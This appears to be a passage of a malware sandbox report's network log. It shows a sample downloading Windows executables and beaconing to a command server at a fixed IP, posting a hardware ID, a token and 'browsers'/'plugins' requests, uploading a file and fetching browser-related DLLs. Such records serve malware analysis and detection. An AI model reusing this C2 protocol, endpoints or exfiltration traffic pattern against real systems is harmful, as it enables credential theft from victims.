Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 08 Nov 2024 14:21:58 GMTContent-Type: application/octet-streamContent-Length: 2125312Last-Modified: Fri, 08 Nov 2024 14:04:33 GMTConnection: keep-aliveETag: "672e1a71-206e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 60 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 72 00 00 04 00 00 fe ec 20 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 29 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 69 6b 6d 75 67 78 77 00 c0 19 00 00 90 58 00 00 be 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 75 63 70 73 66 6f 6c 00 10 00 00 00 50 72 00 00 04 00 00 00 48 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 72 00 00 22 00 00 00 4c 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 08 Nov 2024 14:22:12 GMTContent-Type: application/octet-streamContent-Length: 2782720Last-Modified: Fri, 08 Nov 2024 13:42:20 GMTConnection: keep-aliveETag: "672e153c-2a7600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 79 39 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6a 74 6b 7a 79 6b 6f 76 00 20 2a 00 00 a0 00 00 00 16 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 66 78 6e 77 7a 63 75 00 20 00 00 00 c0 2a 00 00 04 00 00 00 50 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 54 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 08 Nov 2024 14:22:16 GMTContent-Type: application/octet-streamContent-Length: 2125312Last-Modified: Fri, 08 Nov 2024 14:04:33 GMTConnection: keep-aliveETag: "672e1a71-206e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 60 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 72 00 00 04 00 00 fe ec 20 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 29 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 69 6b 6d 75 67 78 77 00 c0 19 00 00 90 58 00 00 be 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 75 63 70 73 66 6f 6c 00 10 00 00 00 50 72 00 00 04 00 00 00 48 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 72 00 00 22 00 00 00 4c 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 08 Nov 2024 14:22:41 GMTContent-Type: application/octet-streamContent-Length: 2125312Last-Modified: Fri, 08 Nov 2024 14:04:33 GMTConnection: keep-aliveETag: "672e1a71-206e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 60 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 72 00 00 04 00 00 fe ec 20 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 29 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 69 6b 6d 75 67 78 77 00 c0 19 00 00 90 58 00 00 be 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 75 63 70 73 66 6f 6c 00 10 00 00 00 50 72 00 00 04 00 00 00 48 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 72 00 00 22 00 00 00 4c 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFBKFBGIIIDGDGCFCGIHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 38 31 32 32 33 44 44 41 34 45 37 35 38 38 30 39 30 31 34 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 2d 2d 0d 0a Data Ascii: ------EBFBKFBGIIIDGDGCFCGIContent-Disposition: form-data; name="hwid"C681223DDA4E758809014------EBFBKFBGIIIDGDGCFCGIContent-Disposition: form-data; name="build"tale------EBFBKFBGIIIDGDGCFCGI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDBHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 36 30 30 34 36 35 33 37 62 33 36 33 63 64 61 62 38 61 36 64 61 32 39 34 62 63 38 39 61 31 63 63 30 35 66 62 66 32 39 36 37 39 37 30 66 63 39 32 30 37 37 62 33 32 30 64 35 36 31 65 35 32 63 65 36 61 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="message"browsers------FIIDBKJJDGHDHJKEHJDB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAAAKJKJEBGHJKFHIDGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 36 30 30 34 36 35 33 37 62 33 36 33 63 64 61 62 38 61 36 64 61 32 39 34 62 63 38 39 61 31 63 63 30 35 66 62 66 32 39 36 37 39 37 30 66 63 39 32 30 37 37 62 33 32 30 64 35 36 31 65 35 32 63 65 36 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 2d 2d 0d 0a Data Ascii: ------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="message"plugins------BAAAAKJKJEBGHJKFHIDG--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 36 30 30 34 36 35 33 37 62 33 36 33 63 64 61 62 38 61 36 64 61 32 39 34 62 63 38 39 61 31 63 63 30 35 66 62 66 32 39 36 37 39 37 30 66 63 39 32 30 37 37 62 33 32 30 64 35 36 31 65 35 32 63 65 36 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 2d 2d 0d 0a Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="message"fplugins------GIIEGHIDBGHIECAAECGD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDGHost: 185.215.113.206Content-Length: 5871Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCFBKKKFHCFHJKFIIEHHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHDHJKKJDHJJJJKEGHIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 36 30 30 34 36 35 33 37 62 33 36 33 63 64 61 62 38 61 36 64 61 32 39 34 62 63 38 39 61 31 63 63 30 35 66 62 66 32 39 36 37 39 37 30 66 63 39 32 30 37 37 62 33 32 30 64 35 36 31 65 35 32 63 65 36 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 2d 2d 0d 0a Data Ascii: ------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="file"------BFHDHJKKJDHJJJJKEGHI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGCGHIDHCBFHIDGHCBKHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAAFBGDBKJJJKFIIIJJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 36 30 30 34 36 35 33 37 62 33 36 33 63 64 61 62 38 61 36 64 61 32 39 34 62 63 38 39 61 31 63 63 30 35 66 62 66 32 39 36 37 39 37 30 66 63 39 32 30 37 37 62 33 32 30 64 35 36 31 65 35 32 63 65 36 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 2d 2d 0d 0a Data Ascii: ------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="file"------IDAAFBGDBKJJJKFIIIJJ--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
